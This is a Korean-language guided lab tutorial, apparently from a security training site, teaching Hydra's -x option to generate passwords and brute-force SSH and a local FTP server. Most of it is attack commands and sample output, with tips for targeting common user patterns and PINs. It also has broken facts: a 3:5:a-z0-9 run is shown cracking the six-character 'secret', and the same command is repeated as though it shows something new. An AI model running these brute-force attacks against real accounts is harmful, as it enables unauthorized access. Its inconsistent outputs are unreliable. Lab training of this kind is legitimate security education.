Hydra 를 이용한 무차별 공격 암호 생성

HydraBeginner
지금 연습하기

소개

이 실습에서는 다양한 암호 생성 기법을 사용하여 Hydra 를 활용하여 브루트포스 공격용 암호를 생성하는 방법을 배우게 됩니다. Hydra 의 -x 옵션을 활용하여 길이, 문자 집합, 일반적인 암호 패턴과 같은 다양한 기준에 따라 암호를 생성하는 데 중점을 둘 것입니다.

이 실습은 기본 문자 집합, 혼합 문자 조합, 숫자 패턴 및 실제 암호 구조를 포함한 여러 암호 생성 시나리오를 안내합니다. 로컬 호스트의 가상 FTP 서버를 대상으로 이러한 기법을 연습하고 브루트포스 공격의 출력을 효과적으로 분석하는 방법을 배우게 될 것입니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 중급 레벨의 실험이며 완료율은 72%입니다.학습자들로부터 94%의 긍정적인 리뷰율을 받았습니다.

Hydra -x 옵션으로 암호 생성

이 단계에서는 지정된 형식에 따라 암호를 생성하기 위해 Hydra 의 -x 옵션을 사용하는 방법을 배웁니다. 이는 알려진 길이 범위나 문자 집합과 같은 잠재적인 암호 구조에 대한 정보가 있을 때 유용합니다.

Hydra 의 -x 옵션을 사용하면 생성된 암호의 최소 및 최대 길이와 사용할 문자 집합을 정의할 수 있습니다. 구문은 -x min:max:charset입니다.

간단한 예제로 시작해 보겠습니다. 소문자만 사용하여 길이가 6 자에서 8 자 사이인 암호를 생성합니다.

먼저 ~/project 디렉토리에 있는지 확인합니다. 이 디렉토리는 실습 시작 시 기본 디렉토리입니다.

cd ~/project

이제 Hydra 를 사용하여 암호를 생성합니다. 시연을 위해 로컬 호스트의 SSH 서비스를 대상으로 합니다. 이렇게 하면 실제 공격을 수행하지 않고도 (존재하지 않는 사용자를 사용하고 있기 때문에) 암호 생성을 볼 수 있습니다.

터미널에서 다음 명령을 실행합니다.

hydra -l testuser -vV -x 3:5:a-z localhost ssh

이 명령을 자세히 살펴보겠습니다.

  • hydra: Hydra 도구를 실행하는 명령입니다.
  • -l testuser: 사용할 사용자 이름을 지정합니다. 여기서는 "testuser"를 플레이스홀더로 사용합니다 (이 사용자는 존재하지 않을 가능성이 높습니다).
  • -vV: 자세한 출력을 활성화하여 각 시도를 표시합니다.
  • -x 3:5:a-z: 핵심 부분입니다. Hydra 에 다음과 같이 암호를 생성하도록 지시합니다.
    • 3: 최소 길이 3 자.
    • 5: 최대 길이 5 자.
    • a-z: 소문자 (a-z) 만 사용합니다. 다른 옵션으로는 A-Z(대문자), 0-9(숫자) 가 있으며, 이들을 결합할 수 있습니다 (예: a-zA-Z0-9는 소문자, 대문자 및 숫자를 사용).
  • localhost: 대상 호스트.
  • ssh: 대상 SSH 서비스.

Hydra 는 생성된 암호 ("aaa", "aaaa", "aaaaa", "aab" 등) 로 연결 시도를 수행하는 것을 볼 수 있습니다. -x 옵션을 사용하면 Hydra 는 지정된 기준에 따라 자동으로 암호를 생성합니다.

참고: 소문자를 사용하여 3~5 자리 암호의 조합 수는 관리 가능합니다. 26³ + 26⁴ + 26⁵ = 17,576 + 456,976 + 11,881,376 ≈ 1240 만 가지 조합으로 Hydra 의 제한 내에 있습니다.

중요: 공격을 중지하려면 Ctrl+C를 사용하십시오. 완료하는 데 오랜 시간이 걸릴 수 있습니다.

출력에는 Hydra 가 SSH 서비스에 연결하려고 시도하면서 생성된 암호가 표시됩니다.

Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aaa" - 1 of 1 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aaaa" - 1 of 1 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aaaaa" - 1 of 1 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "testuser" - pass "aab" - 1 of 1 [child 0] (0/0)
...

중요: 암호 조합 제한

Hydra 의 -x 옵션을 사용할 때 생성될 암호 조합의 총 수를 고려하는 것이 중요합니다. Hydra 는 비현실적인 브루트포스 시도를 방지하기 위해 내부적으로 40 억 개의 암호 제한을 가지고 있습니다.

몇 가지 조합 수 예시:

  • 3~5 자, 소문자만 (a-z): 약 1240 만 가지 조합 ✓
  • 4~6 자, 소문자만 (a-z): 약 3 억 2100 만 가지 조합 ✓
  • 6~8 자, 소문자만 (a-z): 약 2,170 억 가지 조합 ✗ (제한 초과)
  • 4~6 자, 영문자 및 숫자 (a-zA-Z0-9): 약 570 억 가지 조합 ✗ (제한 초과)

실행하기 전에 항상 조합 수를 계산하십시오. charset_size^min_length + ... + charset_size^max_length

생성된 암호로 FTP 공격

이 단계에서는 Hydra 의 암호 생성 기능을 사용하여 가상 FTP 서버를 공격합니다. -x 옵션으로 "즉석"에서 생성된 암호 목록을 사용합니다.

먼저 테스트용 간단한 FTP 서버를 설정해야 합니다. Python 용 경량 FTP 서버 라이브러리인 python3-pyftpdlib를 사용합니다.

아직 설치되지 않았다면 python3-pyftpdlib를 설치합니다.

sudo apt update
sudo apt install -y python3-pyftpdlib

~/project 디렉토리의 파일을 제공하는 포트 2121 에서 백그라운드에서 FTP 서버를 시작합니다. -w 옵션은 쓰기 액세스를 허용합니다.

nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &

nohup ... & 부분은 명령을 백그라운드에서 실행하고 터미널을 닫아도 중지되지 않도록 합니다. > /dev/null 2>&1은 표준 출력과 표준 오류를 /dev/null로 리디렉션하여 터미널을 깨끗하게 유지합니다. -u testuser -P secret 옵션은 서버에 액세스할 수 있는 "secret" 암호를 가진 사용자를 설정합니다.

이제 Hydra 를 사용하여 이 FTP 서버를 공격합니다. -x 옵션을 사용하여 암호를 생성하고 "testuser" 사용자로 로그인을 시도합니다.

터미널에서 다음 명령을 실행합니다.

hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121

이 명령을 자세히 살펴보겠습니다.

  • hydra: Hydra 명령줄 도구입니다.
  • -l testuser: 사용할 사용자 이름을 지정합니다. "testuser".
  • -vV: 자세한 출력을 활성화하여 각 로그인 시도를 표시합니다.
  • -x 4:6:a-z: Hydra 에 다음과 같이 암호를 생성하도록 지시합니다.
    • 4: 최소 길이 4 자.
    • 6: 최대 길이 6 자.
    • a-z: 소문자 (a-z) 만 사용합니다.
  • 127.0.0.1: 대상 호스트 (로컬 호스트). 컨테이너 내의 잠재적인 DNS 확인 문제를 피하기 위해 127.0.0.1localhost 대신 사용합니다.
  • ftp: 공격할 서비스 (FTP).
  • -s 2121: 포트 번호를 지정합니다. 포트 2121 에서 실행 중인 FTP 서버를 대상으로 합니다.

Hydra 가 생성된 암호로 로그인 시도를 수행하는 것을 볼 수 있습니다. FTP 서버가 특정 자격 증명 (사용자 이름: testuser, 암호: secret) 으로 구성되어 있으므로 Hydra 는 브루트포스 시도 중 "secret"를 생성할 때 올바른 암호를 찾습니다.

중요: 공격을 중지하려면 Ctrl+C를 사용하십시오. 완료하는 데 오랜 시간이 걸릴 수 있습니다.

출력에는 로그인 시도가 표시되고 결국 성공적인 로그인 메시지가 표시됩니다.

Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT]  target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaaa
[ATTEMPT]  target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaab
...
[2121][ftp] host: 127.0.0.1   login: testuser   password: secret

이제 소문자와 숫자를 결합하는 약간 더 복잡한 예제를 시도해 보겠습니다.

hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121

이렇게 하면 "aaa", "aab", "aac" 등과 같은 암호가 생성되며, 먼저 모든 3 자리 조합, 그런 다음 4 자리 조합, 마지막으로 5 자리 조합을 체계적으로 거칩니다. 생성된 암호와 성공적인 로그인을 보려면 출력을 관찰하십시오.

Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT]  target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaa
[ATTEMPT]  target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aab
...
[2121][ftp] host: 127.0.0.1   login: testuser   password: secret

이 단계에서는 -x 옵션을 사용하여 Hydra 를 사용하여 암호를 생성하고 FTP 서버를 공격하는 방법을 보여주었습니다. 이러한 기술을 책임감 있고 윤리적으로 사용하는 것을 기억하십시오.

대소문자 혼합 암호 생성

이 단계에서는 대문자와 소문자를 모두 사용하여 암호를 생성하는 방법을 배웁니다. 이는 많은 사용자가 사용하는 일반적인 암호 패턴으로, 효과적인 브루트포스 전략이 됩니다.

많은 사용자가 암호 복잡성 요구 사항을 충족하기 위해 대소문자를 혼합한 암호를 만듭니다. 이 패턴을 이해하면 브루트포스 성공률을 크게 높일 수 있습니다.

~/project 디렉토리에 있고 FTP 서버가 계속 실행 중인지 확인합니다.

cd ~/project

대소문자를 혼합하여 암호를 생성해 보겠습니다. 다음 명령을 실행합니다.

hydra -l testuser -vV -x 3:4:a-zA-Z 127.0.0.1 ftp -s 2121

이 명령은 다음을 사용하여 암호를 생성합니다.

  • a-z: 소문자 (a-z)
  • A-Z: 대문자 (A-Z)

"aaa", "Aaa", "aAa", "AAa", "aaA", "AaA", "aAA", "AAA", "aab", "Aab", 등과 같은 암호를 볼 수 있습니다. Hydra 가 대소문자를 체계적으로 결합하는 방식을 주목하십시오.

패턴을 더 명확하게 보려면 3~4 자리 범위를 시도해 보겠습니다.

hydra -l testuser -vV -x 3:4:a-zA-Z 127.0.0.1 ftp -s 2121

이렇게 하면 대소문자가 혼합된 3~4 자리 암호가 생성됩니다. 조합이 어떻게 진행되는지 관찰할 수 있습니다.

  • 3 자리: "aaa", "Aaa", "aAa", "AAa", "aaA", "AaA", "aAA", "AAA", "aab", "Aab", 등
  • 4 자리: "aaaa", "Aaaa", "aAaa", "AAaa", "aaaA", "AaaA", "aAaA", "AAaA", 등

패턴 이해:

대소문자 혼합 암호 생성은 Hydra 가 대문자와 소문자의 모든 가능한 조합을 시도하는 체계적인 접근 방식을 따릅니다. 이는 특히 다음과 같은 이유로 효과적입니다.

  1. 많은 암호 정책에서 대소문자를 요구합니다.
  2. 사용자는 종종 첫 글자 또는 임의의 글자를 대문자로 만듭니다.
  3. 일반적인 패턴은 단어의 첫 글자를 대문자로 만드는 것입니다.

이 단계에서는 대소문자를 사용하는 암호에 효과적인 브루트포스 공격에 대소문자 혼합 생성을 사용하는 방법을 보여주었습니다.

영문숫자 암호 생성

이 단계에서는 문자와 숫자를 결합한 암호를 생성하는 방법을 배웁니다. 문자 및 숫자 혼합 암호는 보안과 기억 용이성을 균형 있게 유지하기 때문에 매우 일반적입니다.

문자 및 숫자 혼합 암호는 다음과 같은 이유로 가장 일반적인 암호 유형 중 하나입니다.

  • 대부분의 암호 복잡성 요구 사항을 충족합니다.
  • 순수한 랜덤 문자열보다 기억하기가 더 쉽습니다.
  • 기업 환경에서 종종 사용됩니다.

Hydra 를 사용하여 문자 및 숫자 혼합 암호를 생성해 보겠습니다.

hydra -l testuser -vV -x 3:4:a-zA-Z0-9 127.0.0.1 ftp -s 2121

이렇게 하면 다음을 사용하여 암호가 생성됩니다.

  • a-z: 소문자 (a-z)
  • A-Z: 대문자 (A-Z)
  • 0-9: 숫자 (0-9)

생성된 암호의 예: "abc", "A2b", "123", "aB1", "Te1" 등

소문자와 숫자만 사용하여 더 집중적인 접근 방식을 시도해 보겠습니다.

hydra -l testuser -vV -x 3:4:a-z0-9 127.0.0.1 ftp -s 2121

이렇게 하면 "aaa", "aa1", "a12", "123", "test" 등과 같은 암호가 생성됩니다.

일반적인 문자 및 숫자 혼합 패턴:

사용자는 문자 및 숫자 혼합 암호를 생성할 때 종종 예측 가능한 패턴을 따릅니다.

  1. 단어 + 숫자 (예: "pass123")
  2. 숫자 + 단어 (예: "123pass")
  3. 번갈아가며 문자와 숫자 (예: "a1b2")

사용자가 짧은 문자 및 숫자 조합을 사용할 수 있는 패턴을 시뮬레이션해 보겠습니다.

hydra -l testuser -vV -x 4:5:a-z0-9 127.0.0.1 ftp -s 2121

이 단계에서는 실제 상황에서 가장 일반적인 암호 유형 중 하나인 문자 및 숫자 혼합 암호를 생성하는 방법을 보여주었습니다.

숫자만 사용하는 암호 생성

이 단계에서는 순수한 숫자 암호를 생성하는 방법을 배웁니다. 이러한 암호는 PIN, 간단한 암호 및 숫자만 허용하는 시스템에서 일반적으로 사용됩니다.

숫자 암호는 다음과 같은 경우에 자주 사용됩니다.

  • 기기 및 계정의 PIN 코드
  • 기본 시스템의 간단한 암호
  • 임시 암호
  • 숫자만 허용하는 레거시 시스템

숫자만 사용하는 암호를 생성해 보겠습니다.

hydra -l testuser -vV -x 3:6:0-9 127.0.0.1 ftp -s 2121

이렇게 하면 "123", "1234", "0000", "9999", "5678" 등과 같은 순수한 숫자 암호가 생성됩니다.

(일반적으로 4~6 자리 숫자인) PIN 과 같은 암호의 경우 다음을 시도해 보세요.

hydra -l testuser -vV -x 4:4:0-9 127.0.0.1 ftp -s 2121

이렇게 하면 다음과 같은 정확히 4 자리 조합이 생성됩니다.

  • 연도 (1990, 2000, 2023 등)
  • 일반적인 PIN (1234, 0000, 1111 등)
  • 생년월일
  • 중요한 날짜

긴 PIN 에 일반적인 6 자리 패턴을 시도해 보겠습니다.

hydra -l testuser -vV -x 6:6:0-9 127.0.0.1 ftp -s 2121

일반적인 숫자 패턴:

사용자는 종종 예측 가능한 숫자 암호를 선택합니다.

  1. 연속 숫자: 123456, 654321
  2. 반복되는 숫자: 111111, 000000
  3. 날짜: 생년월일, 현재 연도
  4. 간단한 패턴: 121212, 123123

실제 적용:

숫자 암호 생성은 다음을 대상으로 할 때 특히 유용합니다.

  • 모바일 기기 PIN
  • ATM PIN
  • 간단한 시스템 암호
  • 임시 접근 코드

이 단계에서는 많은 시스템에서 일반적으로 사용되는 숫자만 사용하는 암호를 생성하는 방법을 보여주었습니다.

기호 포함 커스텀 문자 집합 사용

이 단계에서는 특정 특수 문자를 포함하는 커스텀 문자 집합을 만드는 방법을 배웁니다. 이는 대상이 암호에 특정 특수 문자를 사용한다는 것을 알고 있거나 의심할 때 유용합니다.

많은 암호 정책은 특수 문자를 요구하며, 사용자는 종종 입력하기 쉬운 일반적인 특수 문자를 선택합니다. 어떤 특수 문자를 포함해야 하는지 이해하면 무차별 공격을 더 효율적으로 수행할 수 있습니다.

특정 특수 문자를 포함하는 커스텀 문자 집합을 사용하여 암호를 생성해 보겠습니다.

hydra -l testuser -vV -x '3:4:a-z0-9!@#' 127.0.0.1 ftp -s 2121

이렇게 하면 다음을 사용하여 암호가 생성됩니다.

  • a-z: 소문자 (a-z)
  • 0-9: 숫자 (0-9)
  • !@#: 특정 특수 문자

예: "abc!", "a1@", "te#", "12!" 등

다른 일반적인 특수 문자 집합을 시도해 보겠습니다.

hydra -l testuser -vV -x '3:4:a-z$%&' 127.0.0.1 ftp -s 2121

이 경우 소문자와 $, %, & 특수 문자를 사용합니다.

더 복잡한 특수 문자를 포함할 수 있는 암호의 경우 다음을 시도해 보세요.

hydra -l testuser -vV -x '3:4:a-zA-Z0-9!@#$%^&*' 127.0.0.1 ftp -s 2121

이렇게 하면 다음을 포함하는 포괄적인 문자 집합이 생성됩니다.

  • 대소문자
  • 숫자
  • 일반적인 특수 문자: !@#$%^&*

가장 일반적인 암호 특수 문자:

암호 분석 결과, 가장 자주 사용되는 특수 문자는 다음과 같습니다.

  1. ! - 느낌표
  2. @ - @ 기호
  3. # - 해시/파운드
  4. $ - 달러 기호
  5. % - 퍼센트 기호
  6. ^ - 캐럿
  7. & - 앰퍼샌드
  8. * - 별표

전략적인 특수 문자 선택:

커스텀 문자 집합을 만들 때 다음을 고려하십시오.

  • 키보드 접근성 (숫자 키패드의 특수 문자는 일반적)
  • 암호 정책 요구 사항
  • 문화적 선호도 (일부 특수 문자는 특정 지역에서 더 일반적)
  • 시스템 제한 (일부 시스템은 특정 특수 문자를 허용하지 않음)

대상 특수 문자 집합:

특정 시나리오에서는 다음과 같은 대상 특수 문자 집합을 사용할 수 있습니다.

## 일반적인 구두점
hydra -l testuser -vV -x '3:4:a-z0-9.,;:' 127.0.0.1 ftp -s 2121

## 대괄호 기호
hydra -l testuser -vV -x '3:4:a-z0-9()[]{}' 127.0.0.1 ftp -s 2121

## 수학 기호
hydra -l testuser -vV -x '3:4:a-z0-9+-=/' 127.0.0.1 ftp -s 2121

이 단계에서는 특정 특수 문자를 포함하는 커스텀 문자 집합을 만드는 방법을 보여주었으며, 이를 통해 알려진 또는 의심되는 암호 패턴에 따라 무차별 공격을 맞춤화할 수 있습니다.

요약

이 실습에서는 Hydra 를 사용하여 단계별 접근 방식을 통해 무차별 공격에 사용할 암호를 생성하는 방법을 배웠습니다. 각각 특정 암호 생성 기법에 초점을 맞춘 다양한 시나리오에서 Hydra 의 -x 옵션을 광범위하게 탐색했습니다.

다음과 같은 구체적인 암호 생성 전략을 연습했습니다.

  • 기본 암호 생성: -x 옵션 구문과 기본 개념 이해
  • FTP 공격 시나리오: 실제 서비스에 대한 암호 생성 적용
  • 대소문자 혼합: 일반적인 암호 패턴을 위해 대문자와 소문자를 결합
  • 영문 숫자 암호: 실제 시나리오에서 가장 일반적인 암호 유형인 문자와 숫자 사용
  • 숫자만 사용하는 암호: 높은 해독 효율을 가진 PIN 및 간단한 숫자 암호 대상
  • 특수 문자 포함 커스텀 문자 집합: 일반적인 사용 패턴을 기반으로 특정 특수 문자 조합 생성